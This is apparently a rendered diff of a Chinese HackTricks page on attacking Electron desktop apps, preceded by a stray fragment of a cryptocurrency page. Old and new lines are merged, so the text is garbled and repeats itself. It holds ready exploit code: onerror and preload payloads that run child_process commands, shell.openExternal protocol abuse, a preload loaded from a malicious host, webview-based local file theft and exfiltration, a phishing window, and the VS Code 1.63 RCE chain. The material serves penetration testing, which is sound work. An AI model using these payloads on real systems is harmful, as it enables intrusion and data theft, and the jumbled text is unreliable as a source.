门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。
# **以太坊:燃料费和交易**
## **理解燃料费**
燃料费衡量在以太坊上执行操作所需的计算努力,以 **gwei** 定价。例如,一笔交易的费用为 2,310,000 gwei或 0.00231 ETH涉及燃料限制和基本费用并向矿工提供小费以激励他们。用户可以设置最高费用以确保他们不会支付过多超出部分会退还。
## **执行交易**
以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、金额、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它。
这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。
## 参考文献
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## 介绍 ## 介绍
Electron 将本地后端(使用 **NodeJS**与前端(**Chromium**)结合,但它缺乏现代浏览器的一些安全机制。 Electron 将本地后端(使用 **NodeJS**和前端(**Chromium**)结合在一起,尽管它缺乏现代浏览器的一些安全机制。
通常你会在 `.asar` 应用内找到 electron 应用代码,要获取这些代码需要将其提取: 通常你可能会在 `.asar` 应用中找到 Electron 应用的代码,要获取代码你需要将其提取:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
在 Electron 应用的源代码中,在 `packet.json` 内,可以找到指定的 `main.js` 文件,其中设置了安全配置 在 Electron 应用的源代码中,在 `packet.json` 内,可以找到指定的 `main.js` 文件,其中设置了 security configs
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
``` ```
Electron 有两种进程类型: Electron 有两种进程类型:
- 主进程(拥有对 NodeJS 的完全访问权限) - Main Process有对 NodeJS 的完全访问权限)
- 渲染进程(出于安全原因应限制对 NodeJS 的访问) - Renderer Process(出于安全原因应限制对 NodeJS 的访问)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
一个 **渲染进程** 将是一个加载文件的浏览器窗口: 一个 **renderer process** 将是一个加载文件的浏览器窗口:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **防止 Electron 应用遭受 RCE** or other vulnerabilities if the **设置正确配置** **renderer 进程** 的设置可以在 main.js 文件中的 **main 进程****配置**。如果 **正确配置**,其中一些配置可以 **防止 Electron application 遭受 RCE** 或其他漏洞利用
The Electron application **可以通过 Node apis 访问设备**,尽管可以通过配置来防止: Electron application **可能访问设备** via Node apis尽管可以通过配置来阻止:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程 - **`nodeIntegration`** - 默认为 `off`。如果启用,则允许从渲染进程访问 Node 功能
- **`contextIsolation`** - is `on` by default. If off, 主进程 和 渲染进程 不会被隔离。 - **`contextIsolation`** - 默认为 `on`。如果关闭,主进程和渲染进程不会被隔离。
- **`preload`** - empty by default. - **`preload`** - 默认为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它将限制 NodeJS 可以执行的操作。
- Workers 中的 Node Integration - Workers 中的 Node Integration
- **`nodeIntegrationInSubframes`** - is `off` by default. - **`nodeIntegrationInSubframes`**- 默认为 `off`
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **在 iframes 中加载的** within an Electron application. - 如果 **`nodeIntegration`** 被 **enabled**,则允许在 Electron application 内 **加载在 iframe 中** 的网页中使用 **Node.js APIs**
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe - 如果 **`nodeIntegration`** 被 **disabled**,则 preloads 将在 iframe 中加载。
Example of configuration: Example of configuration:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
来自 [here](https://7as.es/electron/nodeIntegration_rce.txt) 的一些 **RCE payloads** 一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### 捕获流量 ### 捕获流量
修改 start-main 配置并添加 proxy 的使用,例如: 修改 start-main 配置并添加 proxy 的使用,例如:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Electron Local Code Injection ## Electron Local Code Injection
如果你能在本地执行一个 Electron App可能让它执行任意 javascript 代码。请参见: 如果你能在本地执行一个 Electron App则有可能使其执行任意 JavaScript 代码。查看:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -112,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方是: 如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方是:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
该设置中指定的脚本会**在 renderer 的其他脚本之前加载**,因此它**对 Node APIs 具有无限访问权**: 此**设置中指定的脚本在渲染器中的其他脚本之前加载**,因此它**对 Node APIs 拥有无限制的访问**
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
} }
}); });
``` ```
因此,该脚本可以将 node-features 导出到 pages 因此,该脚本可以将 node-features 导出到页面
```javascript:preload.js ```javascript:preload.js
typeof require === "function" typeof require === "function"
window.runCalc = function () { window.runCalc = function () {
@ -149,20 +148,20 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **如果 `contextIsolation` 启用,则此方法无效** > [!NOTE] > **如果 `contextIsolation` 启用,则此方法无效**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_ 引入了 **网页脚本与 Electron 内部 JavaScript 代码之间的隔离上下文**,使各自的 JavaScript 执行互不影响。这是消除 RCE 可能性的必要功能。 The _**contextIsolation**_ 引入了 **web 页面脚本和 Electron 的内部 JavaScript 代码之间的隔离上下文**,使各自的 JavaScript 执行互不影响。 这是消除 RCE 可能性所必需的功能。
如果上下文未隔离,攻击者可以: 如果这些上下文没有被隔离,攻击者可以:
1. 执行 **在 renderer 中的任意 JavaScript**XSS 或导航到外部站点) 1. 执行 **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **覆盖内置方法**,该方法在 preload 或 Electron 内部代码中被使用以劫持功能 2. **Overwrite the built-in method**,该方法在 preload 或 Electron internal code 中被使用以接管功能
3. **触发** 被 **覆盖的函数** 的使 3. **Trigger** 对 **overwritten function** 的调
4. RCE? 4. RCE?
有两个可以覆盖内置方法的地方preload 代码或 Electron 内部代码: There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}} {{#ref}}
@ -181,34 +180,34 @@ electron-contextisolation-rce-via-ipc.md
### 绕过点击事件 ### 绕过点击事件
如果在点击链接时存在限制,你可能可以通过 **中键点击**(而不是常规的左键点击)来绕过它们 如果在点击链接时有施加限制,你可能可以通过**使用中键点击**而不是常规的左键点击来绕过它们。
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## 通过 shell.openExternal 的 RCE ## 通过 shell.openExternal 的 RCE
有关示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) 有关这些示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration``contextIsolation`设置正确至关重要。已经确认,启用这些设置可以有效阻止针对 preload scripts 或来自主进程的 Electron 原生代码的 **client-side remote code execution (RCE)** 在部署 Electron 桌面应用时,确保 `nodeIntegration``contextIsolation`正确设置至关重要。已证明,启用这些设置可以有效防止主进程发起、针对 preload scripts 或 Electron 原生代码的 **client-side remote code execution (RCE)**
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用的安全性和功能性至关重要: 当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用的安全性和功能性至关重要:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
这些监听器被桌面应用程序**覆盖**以实现其自身的**业务逻辑**。应用会评估导航的链接应在应用内部打开还是在外部浏览器中打开。该决定通常通过函数 `openInternally` 做出。如果此函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。 这些侦听器被桌面应用程序**覆盖**以实现其自己的**业务逻辑**。应用程序会评估导航链接是应在内部打开还是在外部浏览器中打开。这个决策通常通过一个函数,`openInternally`,来做出。如果该函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。
**下面是简化的伪代码:** **Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS 安全最佳实践建议不要通过 `openExternal` 接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议可能触发 RCE。有关此主题的详细示例和进一步说明请参 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含可利用该漏洞的 Windows 协议示例。 Electron JS 安全最佳实践建议不要使用 `openExternal` 函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议这些协议可能触发 RCE。有关此主题的详细示例和进一步说明请参 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含能够利用此漏洞的 Windows 协议示例。
在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')` 在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`
**Windows 协议利用示例包括:** **Examples of Windows protocol exploits include:**
```html ```html
<script> <script>
window.open( window.open(
@ -228,17 +227,17 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal ## RCE: webviewTag + 有漏洞的 preload IPC + shell.openExternal
该漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。 该漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
The **webviewTag** 是一个 **已弃用的特性**,允许在 **renderer process** 中使用 **NodeJS**,应当禁用,因为它允许在 **preload context** 中加载脚本,例如: The **webviewTag** 是一个 **已弃用的功能**,允许在 **renderer process** 中使用 **NodeJS**,应当禁用,因为它允许在 preload context 中加载脚本,例如:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
因此,攻击者如果成功加载任意页面,可以利用该标签来**load an arbitrary preload script** 因此,能够加载任意页面的攻击者可以使用该标签来 **load an arbitrary preload script**
该 preload script 随后被滥用去调用一个**vulnerable IPC service (`skype-new-window`)**,该服务会调用 **`shell.openExternal`** 从而获得 RCE 随后,这个 preload script 被滥用以调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务调用了 **`shell.openExternal`** 从而获得 RCE
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -249,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000); }, 5000);
})(); })();
``` ```
## 阅读内部文件:XSS + contextIsolation ## 读取内部文件: XSS + contextIsolation
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 exfiltrating 本地文件。下面的示例演示了如何利用此漏洞读取内部文件的内容: **禁用 `contextIsolation` 会允许使用 `<webview>` 标签**(类似于 `<iframe>`),来读取并 exfiltrating 本地文件。下面的示例演示了如何利用此漏洞读取内部文件的内容:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,还分享了另一种**读取内部文件**的方法,强调了 Electron 桌面应用中的一个关键本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据: 进一步地,还分享了另一种**读取内部文件**的方法,突出了 Electron desktop app 中一个严重的本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -273,21 +272,21 @@ frames[0].document.body.innerText
``` ```
## **RCE: XSS + 旧 Chromium** ## **RCE: XSS + 旧 Chromium**
如果应用使用的 **chromium** 版本 **较旧** 且存在 **已知的** **漏洞**,那么可能可以**利用它并通过 XSS 获得 RCE**。\ 如果应用使用的 **chromium** **旧的** 且存在已知的 **漏洞**,那么可能能够 **利用它并通过 XSS 获取 RCE**。\
你可以在这篇 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) 你可以在这篇 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass** ## **XSS Phishing:通过 Internal URL regex bypass**
假设你发现了 XSS但**无法触发 RCE 或窃取内部文件**,你可以尝试利用它**通过 phishing 窃取凭证**。 假设你发现了一个 XSS**无法触发 RCE 或窃取内部文件**,你可以尝试利用它来**通过 phishing 窃取凭据**。
首先你需要了解当尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码: 首先你需要了解当尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
**`openInternally`** 的调用会决定该 **link** 是否会在 **desktop window****opened**(因为它属于平台的链接),**or** 是否会在 **browser as a 3rd party resource** 中打开 **`openInternally`** 的调用会决定该 **链接** 是否作为属于平台的链接在 **桌面窗口****打开****或** 是否作为第三方资源在 **浏览器****打开**
如果该函数使用的 **regex** 存在 **vulnerable to bypasses**(例如 **not escaping the dots of subdomains**),攻击者可能会滥用 XSS 来 **open a new window which**,该窗口部署在攻击者的基础设施中,用来向用户 **asking for credentials** 在函数使用的 **regex** 存在 **可被绕过的漏洞**(例如 **未对子域名的点进行转义**)的情况下,攻击者可以滥用 XSS 来 **打开一个新的窗口**,该窗口位于攻击者的基础设施中,向用户 **请求凭据**
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
``` ```
## `file://` 协议 ## `file://` 协议
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files. [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 所述,运行在 **`file://`** 的页面对你机器上的每个文件拥有单向访问权限,这意味着 **XSS 问题可以被用来加载用户机器上的任意文件**。使用 **自定义协议** 可以防止此类问题,因为你可以将协议限制为仅提供特定的一组文件。
## Remote 模块 ## Remote 模块
Electron Remote 模块允许 **渲染进程访问主进程的 API**以便在 Electron 应用内进行通信。然而,启用此模块会引入重大的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本 (XSS) 攻击等漏洞的影响。 Electron Remote 模块允许 **渲染进程访问主进程的 API**便于 Electron 应用内的通信。然而启用此模块会带来严重的安全风险。它扩大了应用的攻击面使其更容易受到诸如跨站脚本XSS攻击等漏洞的影响。
> [!TIP] > [!TIP]
> 虽然 **remote** 模块将一些主进程的 API 暴露给渲染进程,但仅仅滥用这些组件并不容易直接获得 RCE。不过,这些组件可能会暴露敏感信息。 > 虽然 **remote** 模块将一些 API 从主进程暴露给渲染进程,但仅仅滥用这些组件并不容易直接导致 RCE。然而,这些组件可能会暴露敏感信息。
> [!WARNING] > [!WARNING]
> 许多仍使用 remote 模块的应用以需要在渲染进程中启用 **NodeIntegration** 的方式使用它,这是一项 **巨大的安全风险** > 许多仍使用 remote 模块的应用以一种需要在渲染进程中启用 **NodeIntegration** 的方式使用它,这构成了一个 **巨大的安全风险**
自 Electron 14 起,`remote` 模块可能在若干步骤中被启用;出于安全和性能原因,**建议不要使用它**。 自 Electron 14 起,Electron 的 `remote` 模块可能在多个步骤中被启用;出于安全和性能原因,**建议不要使用它**。
要启用该模块,首先需要在主进程中**启用它** 要启用,首先需要在主进程中**启用它**
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -320,37 +319,37 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
然后,渲染进程可以像下面这样从该模块导入对象: 然后,渲染进程可以像这样从该模块导入对象:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module: **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出来自 remote 模块的对象 **`app`** 暴露的一些有趣的 **函数**
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- 通过退出当前实例并启动新实例来重启应用。适用于 app 更新或重大状态变更 - **通过退出当前实例并启动新实例来重启应用。** 对于 **应用更新** 或重大 **状态变更** 很有用
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- 定义或创建用于存储 app logs 的目录。可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 来检索或修改这些日志 - **定义或创建用于存放应用日志的目录。** 可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 检索或修改该路径
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 将当前可执行文件注册为指定协议的默认处理程序。必要时可以提供自定义路径和参数 - **将当前可执行文件注册为指定协议的默认处理程序。** 如有需要可以提供 **自定义路径****参数**
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **Tasks** 类别的 **Jump List**Windows添加任务。每个任务可以控制 app 的启动方式或传递哪些参数 - **在 Jump List 的 Tasks 分类中添加任务(在 Windows 上)。** 每个任务可以控制应用如何 **启动** 或传递哪些 **参数**
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- **PKCS#12 certificate** 导入系统的证书存储(仅 Linux。可以使用回调来处理结果。 - **将 PKCS#12 证书导入系统的证书存储(仅限 Linux。** 可以使用 **callback** 来处理结果。
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- 将应用移动到 **Applications folder**macOS。有助于为 Mac 用户确保标准安装位置 - **将应用移动到 Applications 文件夹(在 macOS 上)。** 有助于确保 Mac 用户的 **标准安装**
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- 在 Windows 上设置或移除自定义 **Jump List**。你可以指定 **categories** 来组织任务如何显示给用户 - **在 Windows 上设置或移除自定义 Jump List。** 你可以指定 **类别** 来组织任务如何向用户展示
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- 配置哪些可执行文件随登录启动及其选项(仅 macOS 和 Windows - **配置哪些可执行文件在登录时启动及其选项(仅 macOS 和 Windows。**
示例: 示例
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## systemPreferences module ## systemPreferences 模块
**主要 API**,用于在 Electron 中访问系统偏好设置并**发出系统事件**。像 **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 和 **setUserDefault** 都是该模块的**一部分**。 这是 Electron 中用于访问系统偏好设置并**发出系统事件**的**主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的 方法 都是该模块的**一部分**。
**示例用法:** **示例用法:**
```javascript ```javascript
@ -368,29 +367,32 @@ console.log('Recent Places:', recentPlaces);
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **侦听** 使用 NSDistributedNotificationCenter 的 **原生 macOS 通知** * **侦听** 使用 NSDistributedNotificationCenter 的 **原生 macOS 通知**
* 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有** 分发的通知。 * 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有** 分发的通知。
* 在 **Catalina / Big Sur** 之后,沙箱化应用仍通过按名称注册通知来 **订阅** 许多事件(例如 **屏幕锁定/解锁**、**挂载卷**、**网络活动** 等)。 * 在 **Catalina / Big Sur** 之后,沙箱化应用仍可通过按名称注册通知来 **订阅** 许多事件(例如 **屏幕锁定/解锁**、**挂载卷**、**网络活动** 等)。
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* 与 **NSUserDefaults** 交互NSUserDefaults 在 macOS 上存储 **应用****全局** 首选项。 * 与 **NSUserDefaults** **交互**NSUserDefaults 在 macOS 上存储 **应用****全局** 首选项。
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近的文件位置****用户的地理位置**
* **setUserDefault** 可以 **修改** 这些首选项,可能会影响应用的 **配置** * **getUserDefault****检索** 敏感信息,例如 **最近文件位置****用户的地理位置信息**
* 在 **早期的 Electron 版本**v8.3.0 之前),只有 NSUserDefaults 的 **标准套件** 可被访问。
* **setUserDefault****修改** 这些首选项,可能影响应用的 **配置**
* 在 **较旧的 Electron 版本**v8.3.0 之前),只有 NSUserDefaults 的 **标准套件** 可被 **访问**
## Shell.showItemInFolder ## Shell.showItemInFolder
此函数在文件管理器中显示给定文件,该操作可能会 **自动执行该文件**。 此函数在文件管理器中显示指定文件,该操作 **可能会自动执行该文件**。
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy ## Content Security Policy
Electron 应用应该有一个 **Content Security Policy (CSP)****防止 XSS 攻击**。**CSP** 是一项 **安全标准**,有助于 **阻止** 浏览器中 **不受信任代码的执行** Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
通常在 **`main.js`** 文件或 **`index.html`** 模板中配置,将 CSP 放在 **meta 标签** 内。 It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
更多信息请参见: For more information check:
{{#ref}} {{#ref}}
@ -400,14 +402,14 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
这个真实世界的链影响了 Visual Studio Code 1.63 (CVE-2021-43908),演示了当 CSP、postMessage 和 scheme 处理器配置错误时,如何将 webview 中单个由 markdown 驱动的 XSS 提权为完整的 RCE。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt 这个真实世界的链影响了 Visual Studio Code 1.63 (CVE-2021-43908),演示了当 CSP、postMessage 和 scheme handlers 配置不当时webview 中由 markdown 引发的单一 XSS 如何升级为完整的 RCE。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
攻击链概览 Attack chain overview
- 首先通过 webview CSP 导致的 XSS生成的 CSP 包含 `style-src 'self' 'unsafe-inline'`,允许在 `vscode-webview://` 上下文中进行内联/基于样式的注入。payload 向 `/stealID` 发送请求以外泄目标 webview 的 extensionId。 - First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- 构造目标 webview URL使用 leaked ID 构建 `vscode-webview://<extensionId>/.../<publicUrl>` - Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- 通过 postMessage 信任的第二次 XSS外层 webview 信任 `window.postMessage`,未进行严格的 origin/type 校验,并使用 `allowScripts: true` 加载攻击者 HTML。 - Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- 通过 scheme/路径重写进行本地文件加载payload 将 `file:///...` 重写为 `vscode-file://vscode-app/...`,并将 `exploit.md` 替换为 `RCE.html`,滥用弱路径校验来加载受权限保护的本地资源。 - Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- 在启用 Node 的上下文中实现 RCE加载的 HTML 在可用的 Node APIs 环境下执行,最终可导致操作系统命令执行。 - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context Example RCE primitive in the final context
```js ```js
@ -415,7 +417,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS require('child_process').exec('/System/Applications/Calculator.app'); // macOS
``` ```
相关阅读(关于 postMessage 信任问题): 关于 postMessage 信任问题的相关阅读:
{{#ref}} {{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md ../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -423,16 +425,16 @@ require('child_process').exec('/System/Applications/Calculator.app'); // macOS
## **工具** ## **工具**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 用于识别基于 Electron 应用中错误配置和安全反模式的工具。 - [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别 Electron 应用中错误配置和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源 VS Code 插件,用于 Electron 应用并使用 Electronegativity。 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用的开源 VS Code 插件,使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查存在漏洞的第三方库
- [**Electro.ng**](https://electro.ng/): 需要购买 - [**Electro.ng**](https://electro.ng/): 需要购买
## 实验 ## 实验
